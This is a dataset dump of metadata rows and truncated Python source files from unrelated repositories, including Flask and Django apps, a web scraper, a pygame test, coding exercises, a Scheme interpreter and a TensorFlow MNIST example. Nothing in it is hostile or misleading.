1926b2f5a25cbfaf0e8c92b3de7ad82dbc0e48e0 | d1b49c4e033bda55a33451246c563f32d51ae7cf | /app/run.py | 0dd98adbf28b0e964858fc53175d8d9fac624306 | [] | no_license | cydal/DisasterPipeline | 2c9c38248011673493ce9190a0bf581e01769e14 | 68d4f217d50099bb55a19ddcf82300f9a704c560 | refs/heads/master | 2020-03-29T11:46:18.679328 | 2018-09-23T19:32:46 | 2018-09-23T19:32:46 | 149,869,551 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,418 | py | import json
import plotly
import pandas as pd
from nltk.stem import WordNetLemmatizer
from nltk.tokenize import word_tokenize
from flask import Flask
from flask import render_template, request, jsonify
from plotly.graph_objs import Bar, Histogram
from sklearn.externals import joblib
from sqlalchemy import create_engi... | [
"cydalsij@outlook.com"
] | cydalsij@outlook.com |
8efa8ba91cfddcf424f1dbae6e2d6858a3b75ac3 | 2a6d139359f19a39d67a698ba8f69c4fcea4b1a5 | /hello-world/app.py | bf2b793174d3a58382c70ac45f0e7f56cd2c2218 | [] | no_license | msantosfelipe/flask | 97a0e5158c48ae6f333d9a0883f013c87b60fac1 | c2b52d0ba84a8956eacef82198f189d1ca4449d8 | refs/heads/master | 2022-04-25T19:31:15.029864 | 2020-04-22T23:00:50 | 2020-04-22T23:00:50 | 257,684,517 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,597 | py | from flask import Flask, jsonify, request, render_template
app = Flask(__name__)
stores = [
{
'name' : 'Store',
'items': [
{
'name' : 'My Item',
'price' : 15.99
}
]
}
]
@app.route('/')
def home():
return render_template('inde... | [
"felipe_356@hotmail.com"
] | felipe_356@hotmail.com |
977c9256bd4b00b9ea33d2622563f93f884cb6e3 | f214b4bb23578c00b2b0cb7412b61e62ab88ee69 | /KattisPractice/Spring2021/carefulascent.py | fe161922b56f49ebd97902d1f6def71a76d1ce2f | [] | no_license | jerrylee17/Algorithms | 7e38fa082c0c5cf063f4b905ca42055b89bf7f32 | 63710270913c83889b880d012875a2cb7aa4e847 | refs/heads/master | 2021-06-23T20:18:22.882922 | 2021-04-23T03:25:43 | 2021-04-23T03:25:43 | 218,829,765 | 1 | 0 | null | 2020-12-27T14:29:33 | 2019-10-31T18:08:17 | Python | UTF-8 | Python | false | false | 146 | py | x, y = list(map(int, input().split()))
n = int(input())
shields = []
for i in range(n):
shields.append(list(map(float, input().split())))
| [
"jerrylee1157@gmail.com"
] | jerrylee1157@gmail.com |
4d43fb068043a31b764cf9f2d348c41addd0726c | edbb5183569d4a4ffdea0a9844e3b687e4d74d67 | /lesson4/xpath.py | d24da126782cbfd6dac3db2ef17d87d1197c4e94 | [] | no_license | denisded/scraping_projects | 00e7cff19daf20531e137ee17873fed9830c6703 | adbbaeb17026db785628940c01dad4f8d1c7939e | refs/heads/master | 2023-06-17T13:03:42.222983 | 2021-07-14T06:52:47 | 2021-07-14T06:52:47 | 379,668,543 | 0 | 0 | null | 2021-07-14T06:52:48 | 2021-06-23T16:39:05 | Python | UTF-8 | Python | false | false | 3,469 | py | from lxml.html import fromstring
import requests
from string import whitespace
from pymongo import MongoClient
CUSTOM_WHITESPACE = (whitespace + "\xa0").replace(" ", "")
def clear_string(s, whitespaces=CUSTOM_WHITESPACE):
for space in whitespaces:
s = s.replace(space, " ")
return s
def get_dom(url)... | [
"mczed@mail.ru"
] | mczed@mail.ru |
6f1a4daaa650c47207db301180bcb12f0117b2ff | 07805264a7be79cf407acecc2b637e109f3fcb4f | /plan/plantodocx.py | 1d7ecf5f1543a84cd79bcf04a79a41297584f987 | [] | no_license | Dexter5292/planit | 31a250e81630a1eaba38d686bbf54023163ce16b | ee9b6641657cc612a93058ece27bebc6f3027b37 | refs/heads/master | 2021-05-15T20:33:15.356631 | 2017-11-23T09:49:33 | 2017-11-23T09:49:33 | 107,775,758 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,026 | py | from docx import Document
class plan:
"Constructor class for the lesson plan."
def __init__(self):
self.user = ''
self.subject = ''
self.date = ''
self.grade = ''
self.time = ''
self.units = []
self.topics = []
self.content = []
self.activities = []
self.support = []
self.recources = []
self... | [
"martin@bellafides.com"
] | martin@bellafides.com |
739c23c0692c8bb39c4774b7b4ec9b065f72cf4f | 4ac73d09529b0b4229b180da37d8e8d2859c9264 | /Note_Test/forms.py | 5f5997f26d4ec9e1320e7e2b812fcdff8217e0f7 | [] | no_license | MagedElayh/web_django_pro1 | 4b6de38673cb00455abdb7cf756e7de93661721f | 4eca49a0faf36b2f5acdcd4949fd339bb59c668b | refs/heads/master | 2023-03-27T14:42:54.298525 | 2021-04-02T17:08:39 | 2021-04-02T17:08:39 | 337,807,263 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 463 | py | from django import forms
from .models import COURSE,COURSE_SUBJECT,TEACHER,SUBJECT
class TeacherForm(forms.ModelForm):
class Meta:
model = TEACHER
fields = '__all__'
class SubjectForm(forms.ModelForm):
class Meta:
model = SUBJECT
fields = ['Subject_Code','Subject_Name',]
... | [
"majed"
] | majed |
2a60f021ea9140efdbc88c168a1610ab216524f9 | cf4e5165a8408344a4c62e63a0fd2d0fe6308b37 | /00-2017/基础班/学生管理系统.py | 310050f07f7ae7ca9709baea7d84ccfce3d87545 | [] | no_license | kennycaiguo/Heima-Python-2018 | 5f8c340e996d19f2b5c44d80ee7c144bf164b30e | a8acd798f520ec3d079cc564594ebaccb9c232a0 | refs/heads/master | 2021-01-08T10:54:18.937511 | 2019-09-01T14:37:49 | 2019-09-01T14:37:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,121 | py | #coding=utf-8
#auther:microease
studentInfos = [{'name': 'huyankai', 'sex': '男', 'phoneNumber': '15172332476'}]
#有重复代码,需要完善
while True:
print("*"*30)
print("欢迎使用系统")
print("1:添加新名字")
print("2:删除一个名字")
print("3:修改一个名字")
print("4:查询一个名字")
print("5:遍历所有的名字")
print("0:退出系统")
print("*"*30)
key = input("请输入您想要的选项... | [
"microease@163.com"
] | microease@163.com |
6b4e456993f5eb90edbdc3cd147ba4c582e13b8a | 04334d205b3f7f8be1c01330fe687aa5dc56f0ed | /PI Terceiro Semestre/DownFall/PI_TS/Teste.py | 92849181b778933630b6a2f9a4f29beddfeee265 | [] | no_license | Tompisom/Jogo_Em_Pygame_DownFall | 961cdf29da6b29c5cfd32d1c5791beea4afa41e6 | cc4a4720411000fb9621eb8b30eedd8bcdec3fb6 | refs/heads/main | 2023-04-02T12:28:22.583534 | 2021-04-03T01:51:30 | 2021-04-03T01:51:30 | 354,175,577 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 926 | py | from pygame import *
DONE = False
screen = display.set_mode((1024,768))
alphaSurface = Surface((1024,768)) # The custom-surface of the size of the screen.
alphaSurface.fill((255,252,255)) # Fill it with whole white before the main-loop.
alphaSurface.set_alpha(0) # Set alpha to 0 before the main-loop.
alph = 0 # The in... | [
"victortiburcio98@gmail.com"
] | victortiburcio98@gmail.com |
6214e02d35be221e2ed36877d500284ba9c67da6 | 1cb5abf0814b028b3ac996d39033a74dbf85753b | /studying_codes/q_num_10869.py | d9ec0b359b575ca0307a52cc63f317b6b1a1c784 | [] | no_license | kimsehwan96/studying_python | fd7310204a75b94d95497f1ddb3ad39763340fde | 5b22926230f936abbddccb10401d53d6e1bb9934 | refs/heads/master | 2023-02-09T07:27:39.999164 | 2021-01-02T09:18:13 | 2021-01-02T09:18:13 | 242,378,529 | 1 | 0 | null | 2020-04-22T15:10:14 | 2020-02-22T17:02:02 | Python | UTF-8 | Python | false | false | 67 | py | a=10
b=2
print(a+b)
print(a-b)
print(a*b)
print(a//b)
print(a%b)
| [
"sktpghks138@gmail.com"
] | sktpghks138@gmail.com |
1ec4b2f8dfcb45efeddce4d44ed128337ab1d161 | 787d3a06e4e18de391f0bfd338e4e9a1c47e5f0b | /modules_in_python/package_runoob/runoob1.py | 8c07acf46c7c1362feca6e2411e033e2d2be209a | [] | no_license | HASAYAKEWOLF/LearnPython_basics | 785191d4c3d7749eb83e0b381e4d71ef07f243e1 | 0da5517b8a777c519cf4c3fe57a481a47179dbf9 | refs/heads/master | 2020-05-04T20:48:54.277119 | 2019-04-04T09:24:56 | 2019-04-04T09:24:56 | 179,452,169 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 54 | py | #coding=utf-8
def runoob1():
print("Im in runoob1")
| [
"2792591817@qq.com"
] | 2792591817@qq.com |
b3a29ae6790bca79783af6a8bbd6db96efce5be0 | 380815565e174f59b0266c61f93e751fae0c98f7 | /sbs_main.py | 2a5f02152dcaa6d8e4f333eaf713aa061582d65d | [] | no_license | jackieisback/sbs | 5071c27acedf86b97e0e1363caa75d1ac6033c77 | 748ad76241bc337cb4427d71b64fea6b7dcb402a | refs/heads/master | 2022-07-10T21:03:22.084789 | 2022-06-30T22:04:28 | 2022-06-30T22:04:28 | 91,009,079 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,884 | py | import os
import datetime
# parts that need to be adapted
snapshot_dir = r"C:\Users\XXX\Pictures"
path_to_irfanview = r'"C:\Program Files (x86)\IrfanView\i_view32.exe" '
# global variables
img_ctr = 0
currentnumber = 1
def getFilesInDir(dir):
# get all files in directory
files_in_folder = [f for f in os.listdir(... | [
"jackie@isback.com"
] | jackie@isback.com |
cb553ec88832a8659ce6b8ad7e9f25c1bc832d71 | 786c2ddea1f1984966a38c69dd7636761e44f202 | /main/views.py | eae0d8125d06f951349f1ef87c963c966cd12746 | [] | no_license | Aliz-f/Article_Blog-Flask | 780a710aa2d0390cedfc87bf1b923bde4b0b8fce | f9166afdf37b8b3414f95154e2160cf48d13f9fb | refs/heads/master | 2023-01-21T19:04:54.189038 | 2020-10-12T06:29:35 | 2020-10-12T06:29:35 | 318,038,793 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 462 | py | from flask import Blueprint , request , render_template
from application.models import Post
main = Blueprint('main',__name__)
@main.route("/")
@main.route("/home")
def home():
page = request.args.get('page' , 1 , type = int)
posts = Post.query.order_by(Post.data_posted.desc()).paginate(page = page , per_pag... | [
"fad127alireza2@gmail.com"
] | fad127alireza2@gmail.com |
feef9f15a91cd8f5a8ed1f5fc89fbea6a3b442ed | ffee95413e4ecaada18c1b2cc93c4cf1ade05a2a | /fibbonaci_with_recursion.py | 375408ee5f64451416adf520f59230e29e65ee33 | [
"Unlicense"
] | permissive | animeshs34/Python | 47377f2372a9e5a3f6c5ca5142bc19095e15ba19 | 9fbd1069dc5b146b14b1e946ca890442d665c90f | refs/heads/master | 2021-03-24T01:59:07.057890 | 2020-04-20T07:05:23 | 2020-04-20T07:05:23 | 247,505,486 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 95 | py | fibbonaci = lambda n: n if n in (0,1) else fibbonaci(n-1) + fibbonaci(n-2)
print(fibbonaci(11)) | [
"46777236+animeshs34@users.noreply.github.com"
] | 46777236+animeshs34@users.noreply.github.com |
4a3e8779713bfeb72638e675ab6d51eb3b5ce340 | 3ec436d4074d14c623d5a7df0e3be7e85a32d739 | /problem13.py | 7e0903071b6187b9050921a9928caeb4b074fd5b | [] | no_license | spunos/project_euler | 43f2587db853fd010b41a6ce2fdad05dcb8d049a | 6c7b371dc64892a7a3b747c26c4145a314b36140 | refs/heads/master | 2020-11-30T16:23:08.461155 | 2019-12-28T07:20:22 | 2019-12-28T07:20:22 | 230,439,692 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,465 | py | # Work out the first ten digits of the sum of the following one-hundred 50-digit numbers.
import io
sumString = """
37107287533902102798797998220837590246510135740250
46376937677490009712648124896970078050417018260538
74324986199524741059474233309513058123726617309629
9194221336357416157252243056330181107240... | [
"sonjad@kth.se"
] | sonjad@kth.se |
13966704c3948b4cb8122f17dc5811ee39671e5b | f21d4b75f98fc85b1e0e80cf0254bd777ce95e1a | /common/mail_helper.py | 75b38822d771710a05ce7cd8eef3c68d900038c6 | [
"Apache-2.0"
] | permissive | wuxh123/my_bottle | 9c75a54354043cca8cc4c851173e1301bfe7e172 | 06cd7cda43b5d7db7522f76e65631510dada1329 | refs/heads/master | 2020-04-18T22:57:27.989442 | 2019-06-09T03:31:48 | 2019-06-09T03:31:48 | 167,808,940 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,465 | py | #!/usr/bin/env python
# coding=utf-8
import smtplib
from email.mime.text import MIMEText
from traceback import format_exc
from config import const
# 初始化邮件参数
smtp = const.SMTP
port = const.PORT
user = const.EMAIL_USER
passwd = const.EMAIL_PWD
email_list = const.EMAIL_LIST
err_title = const.EMAIL_ERR_TITLE
def send_m... | [
"18359175@163.com"
] | 18359175@163.com |
d1d0bab91d860a5550495172c5f1ac2902c77590 | 9a72c6a6a415042d0fd153a9aa865343b1a76be2 | /tests/test_assert.py | f5f2815d12968fab0e52e5be56b9a54e6e6ee1c6 | [
"MIT"
] | permissive | PhamTDuc/HelloPackage | 045291043cb3fc9c3137a2e63e1d6468e15270ea | 78b8fa00f932ba97f8afdf639ac4a66234e196dd | refs/heads/master | 2022-12-27T19:28:37.720507 | 2020-10-13T03:15:20 | 2020-10-13T03:15:20 | 300,340,971 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 546 | py | import pytest
@pytest.mark.group2
def test_method0():
x, y = 5, 6
assert x + 1 == y, "Test Addition, assertion failed"
assert x == y, "Assertion failed"
@pytest.mark.group1
def test_method1():
x, y = 5, 6
assert x + 1 == y, "Test test_method1 failed"
@pytest.mark.group2
def test_methods2():
... | [
"phamduc0701@gmail.com"
] | phamduc0701@gmail.com |
f1098d9eecc4aa3d5181079d7232abd069dba6e1 | f3882add3c8755dca66a7fa62e4cc6d730c49b47 | /starter-clients/mastermind.py | 89d413bbc1f3cc00ce1eaad9639627acd7bc79b3 | [] | no_license | perhammer/restgames | 44c960ae96df4f978b571a82e4c7cfc1a55689a0 | dcd67d05d316a2e74fb439fc756e0a1cb4e13f33 | refs/heads/main | 2021-06-18T12:14:13.257781 | 2019-01-18T22:18:41 | 2019-01-18T22:18:41 | 164,393,309 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,654 | py | #!/bin/python
from restgameclient import RestGameClient
class MastermindApi(object):
def __init__(self):
self.API_KEY_GUESS = "guess"
self.API_KEY_HINT = "hint"
self.API_KEY_CORRECT_COLOUR = "CORRECT_COLOUR"
self.API_KEY_CORRECT_COLOUR_AND_LOCATION = "CORRECT_COLOUR_AND_LOCATION"
class Mastermin... | [
"github@perhammer.com"
] | github@perhammer.com |
693a32dcb095678fa3854e938d743b3bfbf9e547 | afa801642f56d1523bb881366640ca8fcb525eeb | /main/pre-stage/old_vv_precip/vv_500hpa.precip.MONTHLY.py | 6702d0d4f40736382e97748844b5005d5efa171f | [] | no_license | cycle13/Machine-Learning-Climate-Parameterization | f8123df4f13c27c77bc3c7a8f6566d0b8ea0e4d9 | 14b7aa2856c7ab0ff884658a9af8c7a9b7e48a2e | refs/heads/master | 2021-10-23T11:18:15.773174 | 2019-03-17T02:25:56 | 2019-03-17T02:25:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,187 | py | import time
# MATLAB like tic toc
def TicTocGenerator():
ti = 0
tf = time.time()
while True:
ti = tf
tf = time.time()
yield tf-ti
TicToc = TicTocGenerator() # create an instance of the TicTocGen generator
def toc(tempBool=True):
tempTimeInterval = next(TicToc)
if tempBool:
... | [
"35846351+edenau@users.noreply.github.com"
] | 35846351+edenau@users.noreply.github.com |
5560afd912e7c6ce9beae0493182d18d9b3142f9 | bc75839ec7246077d078036b2c762fa47ff84bf2 | /profiles_project/settings.py | 6dc29f5b4f79be0bddf63e7dde6d2a6ef11bde58 | [
"MIT"
] | permissive | Vinutha2905/Python_RestAPI | ac0b20f452fad4a50f6588f2327283457171ce1d | 4c185d37d32c3b5f00154f4be1b4ad0d2fab6d66 | refs/heads/master | 2023-05-10T15:44:42.335734 | 2021-06-13T11:23:04 | 2021-06-13T11:23:04 | 363,667,996 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,235 | py | """
Django settings for profiles_project project.
Generated by 'django-admin startproject' using Django 2.2.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
impor... | [
"vinutha2905@gmail.com"
] | vinutha2905@gmail.com |
fcb284a99281a279a481627d23e4abd3ad8b3669 | e1c22a4181175e66f77e36fdff549c16fea4aec5 | /main.py | 475ea1ee35d589c454ebb2312baf01468cf0f911 | [
"MIT"
] | permissive | jarrey68/RiseMixedSetMaker | 98febee6f85c71569488f8e82d721b20bdd30b9c | fb43ae558dad7a82dc6c259efbd24fd8d5084145 | refs/heads/main | 2023-06-05T12:20:00.951503 | 2021-06-18T16:18:31 | 2021-06-18T16:18:31 | 377,930,597 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,522 | py | from Database import Database
from ArmourPiece import ArmourPiece
from ArmourSet import ArmourSet
from Window import Window
def get_armour_pieces():
file = open("ArmourPieces.csv", "r")
raw_armour_pieces = file.read()
file.close()
armour_pieces_list = raw_armour_pieces.split("\n")
armour_pieces_lis... | [
"jarreyunderscore@gmail.com"
] | jarreyunderscore@gmail.com |
f208d429bfba2ae629959799268cef80221153a0 | e95d6f6842e7d32a2933676e12d73cbe8cf9d7d4 | /TensorFlow_Tutorials/10.Time Series.py | 19f6c6a7a10ed6985ccbe6e95cd49d456dfc9c5e | [] | no_license | MehreenTariq12/mehru | 87acda07c564f37107aa8a3e2da247216c734d35 | af5da763197696394dfe751d2c54e3caab7d3f62 | refs/heads/master | 2022-06-24T03:59:54.542892 | 2020-05-10T06:03:05 | 2020-05-10T06:03:05 | 256,930,770 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,365 | py | import numpy as np
import matplotlib.pyplot as plt
def plot_series(time, series, format = "-", start = 0, end = None, label= None):
plt.plot(time[start:end], series[start:end], format, label = label)
plt.xlabel = ("Time")
plt.ylabel = ("Value")
if label:
plt.legend(fontsize = 14)
... | [
"noreply@github.com"
] | noreply@github.com |
173f1425fe257a93de27c5282d849a31123b39a0 | 58545843a052eb76170d2cb26bae81f293ea0555 | /webapp2_caffeine/test_case.py | 94988d8317d7c3af0decdd2e89dc8fef9e343efd | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | gvigneron/webapp2_caffeine | 1fd047691d8b861149531f1efbfa1d3fdf653b9e | 1c920e77b48555886dff5206cc5e83179f23c8f1 | refs/heads/master | 2020-03-19T02:36:15.867222 | 2018-05-31T23:11:31 | 2018-05-31T23:11:31 | 135,643,505 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,527 | py | # -*- coding: utf-8 -*-
"""Extensions for unittest.TestCase."""
import os
import warnings
from google.appengine.api import apiproxy_stub
from google.appengine.api import namespace_manager
from google.appengine.datastore import datastore_stub_util
from google.appengine.ext import ndb
from google.appengine.ext import te... | [
"gregoire@MacBook-Pro-de-Gregoire-Vigneron.local"
] | gregoire@MacBook-Pro-de-Gregoire-Vigneron.local |
7fd45d01e2129cf4b24995a2f307de5a3122f892 | e92ccd2db621d70c75eb412e49789494a2620967 | /exam/03_01.py | 565386f80a9dfb153304be4f7b0273ae0c6083e6 | [] | no_license | hgkang9/TIL | fb25e610c8d869014f21c370f2fc1089a9d157da | 72476b974ab3283d19eec8359cb2efdf8bfd4d59 | refs/heads/master | 2020-04-14T10:17:25.116015 | 2019-05-10T08:40:37 | 2019-05-10T08:40:37 | 163,782,787 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 562 | py | # 파일명 변경 금지
def alphabet_count(word):
# 아래에 코드를 작성하시오.
# word는 소문자로만 구성 되어있습니다.
# 딕셔너리를 반환합니다.
result={}
for char in word:
if char in result:
result[char] = result[char] + 1
else:
result[char] = 1
return result
# 아래의 코드는 수정하지마세요.
if __name__ =... | [
"hgkang922@gmail.com"
] | hgkang922@gmail.com |
0dc3f740a97a907c11dc5ffaa412033ef989c918 | 6b2a8dd202fdce77c971c412717e305e1caaac51 | /solutions_5686275109552128_0/Python/junzhengrice/solution.py | 9b92497e2c1bdd0276ee7ca0dbcdd3108d04dfd4 | [] | no_license | alexandraback/datacollection | 0bc67a9ace00abbc843f4912562f3a064992e0e9 | 076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf | refs/heads/master | 2021-01-24T18:27:24.417992 | 2017-05-23T09:23:38 | 2017-05-23T09:23:38 | 84,313,442 | 2 | 4 | null | null | null | null | UTF-8 | Python | false | false | 1,062 | py | file = open('in.txt','r')
out = open('out.txt','w')
test_cases = file.readlines()
def compute(diners):
DEBUG = False
diners.sort(reverse = True)
if DEBUG: print diners
minTime = diners[0]
slot = 2
newTime = minTime
while slot < diners[0]:
used = 0
... | [
"root@debian"
] | root@debian |
0ad7d39d78be9975e5ad00e3bcd73eebfea709c1 | ef54795aabfbecd2b073714cf5f8093216119adf | /candidate_plaid/monitor.py | e683a59d0e4f0466e5d1018d21b9dedfba27971b | [
"MIT"
] | permissive | AndrewBurian/magnificent | f1185fdcc56f6c375fb445f2d2e04b83fda6cc30 | 2f67f84c05f92f3c82fd5d1e25b801c76ba1535e | refs/heads/master | 2021-01-15T13:37:00.211707 | 2015-06-19T19:22:20 | 2015-06-19T19:22:20 | 37,641,339 | 0 | 0 | null | 2015-06-18T06:19:25 | 2015-06-18T06:19:24 | null | UTF-8 | Python | false | false | 2,086 | py | #
# Monitor a URL continuously, providing
# reports on its availability in a log file
# and as a web page.
#
import json
import logging
import sys
from twisted.internet import task
from twisted.internet import reactor
from twisted.web import server, resource
import urllib2
config = {}
log = logging.getLogger(__name_... | [
"neilk@brevity.org"
] | neilk@brevity.org |
b4114c892562323c2cb1bac92cf1aba16f1ec6c9 | f1f58953b09c9eb5cecfe232249c1350355878b4 | /mylib/vectorization.py | eeba213b84d9a871aaa5eca50334f6a256847fff | [] | no_license | P-Zhu/relation_extraction_demo | c6877026d4101f4a8a8d23a8cf7bf04120883c3e | 5d39bc0914bcaf68fe1b2a02c351102d79a288da | refs/heads/master | 2020-04-16T02:44:06.396949 | 2018-06-05T10:49:12 | 2018-06-05T10:49:12 | 165,205,983 | 2 | 0 | null | 2019-01-11T08:18:02 | 2019-01-11T08:18:02 | null | UTF-8 | Python | false | false | 3,968 | py | import numpy as np
import copy
# pos_str = 'a b c d e g h i j k m n nd nh ni nl ns nt nz o p q r u v wp ws x z'
pos_dic = {'a': 0, 'b': 1, 'c': 2, 'd': 3, 'e': 4,
'g': 5, 'h': 6, 'i': 7, 'j': 8, 'k': 9,
'm': 10, 'n': 11, 'nd': 12, 'nh': 13, 'ni': 14,
'nl': 15, 'ns': 16, 'nt': 17, 'nz': 18, 'o': 19,
... | [
"zzh19971968@foxmail.com"
] | zzh19971968@foxmail.com |
f4c440d62414a3c3d8e8860bd4e1fa2f85d0d859 | 987a68b9c196f39ba1810a2261cd4a08c35416a3 | /Tree/112-path-sum.py | c897121659c93c9c02dbd37e2b2c6ae22508b4a4 | [] | no_license | xizhang77/LeetCode | c26e4699fbe1f2d2c4706b2e5ee82131be066ee5 | ce68f5af57f772185211f4e81952d0345a6d23cb | refs/heads/master | 2021-06-05T15:33:22.318833 | 2019-11-19T06:53:24 | 2019-11-19T06:53:24 | 135,076,199 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,737 | py | # -*- coding: utf-8 -*-
'''
Given a binary tree and a sum, determine if the tree has a root-to-leaf path such that adding up all the values along the path equals the given sum.
Note: A leaf is a node with no children.
Example:
Given the below binary tree and sum = 22,
5
/ \
4 8
/ / \
11 13... | [
"xizhang1@cs.stonybrook.edu"
] | xizhang1@cs.stonybrook.edu |
26f9afcb90477731daacb9f32aaf4dfa096822a7 | 9aea6946ef46cf3ef19399ca77b85498e3ba6c0c | /Tests/11.py | 4e3b900d1a89d1f9f2ce596fa4c9575689f944fd | [
"Apache-2.0"
] | permissive | nitindeokate99/Predictor_Tool | 5bb9c45fdcc0ae61dec033aac34180aa561e03e6 | be3d2acaffa0da7334714e23b9889e1a18c6bb31 | refs/heads/master | 2021-01-15T22:03:47.123526 | 2014-07-10T01:25:46 | 2014-07-10T01:25:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 21,214 | py | """This module implements the core Scheme interpreter functions, including the
eval/apply mutual recurrence, environment model, and read-eval-print loop.
"""
from scheme_primitives import *
from scheme_reader import *
from ucb import main, trace
##############
# Eval/Apply #
##############
def scheme_eval(expr, env)... | [
"rafamian@berkeley.edu"
] | rafamian@berkeley.edu |
2998f5e4229936fa07643c68e5957639cb555f0a | be43157c2462887aa84163203462b66392a87035 | /Technical-Analysis-And-Practice-in-TensorFlow-master/source/9/9.2 MNIST的分类问题.py | 34cee91192cf2e5859cf250a9ba6bb47921a839e | [] | no_license | VanLiuZhi/tf_gpu | 8c146d2cb6c86239c64b45da512dad53cf058268 | 4a62ddd6e540758c3f42f5627d436860eaabf670 | refs/heads/master | 2021-05-05T10:28:37.554878 | 2018-02-06T09:40:59 | 2018-02-06T09:40:59 | 117,962,239 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,356 | py | # 贡献者:{沙舟}
# 源代码出处:https://github.com/tensorflow/tensorflow/blob/r1.1/tensorflow/examples/tutorials/mnist/mnist_softmax.py
# 数据集下载地址:http://yann.lecun.com/exdb/mnist/ (同时可查看数据格式)
# 导入input_data.py文件,使用tensorflow.contrib.learn中的read-data_sets加载数据
import tensorflow as tf
from tensorflow.examples.tutorials.mnist import ... | [
"uMndS89d30xka"
] | uMndS89d30xka |
6e8b7b00e25746669dc126955f812b503df3679f | 13e946e64d8ff5b8c77025fcd9ec5c521b268951 | /keyvalue/keyvalue_base.py | 792d7854e3c59807e7f730cba63f1f6c55bc2ceb | [] | no_license | mattnunogawa/KeyValueModel | ba528fe41f37004c76c1e7dfa45e05787ece7432 | 3b576204e8959502f921c79ae829858b8bf84503 | refs/heads/master | 2021-01-20T00:40:48.993304 | 2010-10-22T06:12:33 | 2010-10-22T06:12:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,530 | py | #!/usr/bin/env python
# encoding: utf-8
"""
keyvalue_base.py
Created by Matt Nunogawa on 2010-10-08.
Copyright (c) 2010 Matt Nunogawa. All rights reserved.
"""
###############################################################################
class KeyValueBaseClass: #pragma no cover
"""
Abstract superclass to i... | [
"hidden@example.com"
] | hidden@example.com |
79aeb64c7a1a6195394f59dab5b6e1bbe660c994 | 0b078cabaf42fea260d9400ce5d0e0f45a218729 | /daal4py_vs_sklearn/utils.py | 68fec8aa4753cd017fcd828ec26a5f728c88d343 | [] | no_license | scikit-learn-inria-fondation/sklearn-benchmark | 4205f0c0ecc2080850023a1a178dcb911cfb7010 | 817a7554853357a9ad51e15e2755757154f99fdf | refs/heads/master | 2023-04-30T11:33:39.567660 | 2020-11-26T16:33:14 | 2020-11-26T16:33:14 | 269,797,620 | 0 | 1 | null | 2021-04-25T17:29:27 | 2020-06-05T22:40:14 | Jupyter Notebook | UTF-8 | Python | false | false | 1,332 | py | import numpy as np
import matplotlib.pyplot as plt
def plot(benchmark_result, split=None):
df = benchmark_result
estimators = df["algo"].unique()
n_estimators = len(estimators)
alldfs = [df[df["algo"] == val] for val in estimators]
if split is not None:
vals = df[split].unique()
... | [
"jeremiedbb@yahoo.fr"
] | jeremiedbb@yahoo.fr |
7ccf17f69b05cffda19a77d983827f3d96a78259 | 887371724feac0c71d6112e8a00e436a9ad3aa92 | /keystone/keystone/tests/unit/test_token_provider.py | b79be2e5200a2ebe960a6b920d2bd74c9a702b92 | [
"Apache-2.0"
] | permissive | sreenathmenon/openstackAuth | eb6e4eb2f8c2f619d8c59e0c0a79a2f6c177740f | f2a5f641103ebd4750de210ec1f3df5600f3ba19 | refs/heads/master | 2021-01-20T21:34:41.243654 | 2017-08-30T14:25:48 | 2017-08-30T14:25:48 | 101,769,285 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 29,863 | py | # Copyright 2013 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in... | [
"zreenathmenon@gmail.com"
] | zreenathmenon@gmail.com |
7b8a0c0097a4411fe4aff693db5c53f8219a6a18 | cce98af180579461064a001e2c0d5a99ae760eb1 | /test09.py | a0816f30066fafff4e32ae265662fd42406e9eda | [
"MIT"
] | permissive | OskarBreach/advent-of-code-2018 | e7147526c417406dc2b1b9e5b911f8b3737c39c8 | 10887873d988df699e7ebe83d39511b3303ccf38 | refs/heads/master | 2020-04-09T05:55:37.773427 | 2018-12-17T13:41:37 | 2018-12-17T13:41:37 | 160,087,194 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,208 | py | import unittest
from day09 import get_high_score, make_game_larger
class TestMarbleGame(unittest.TestCase):
def test_rubbish_input(self):
self.assertEqual(0, get_high_score(""))
def test_shortest_game(self):
self.assertEqual(0, get_high_score("1 players; last marble is worth 0 points"))
... | [
"oskar.breach@gmail.com"
] | oskar.breach@gmail.com |
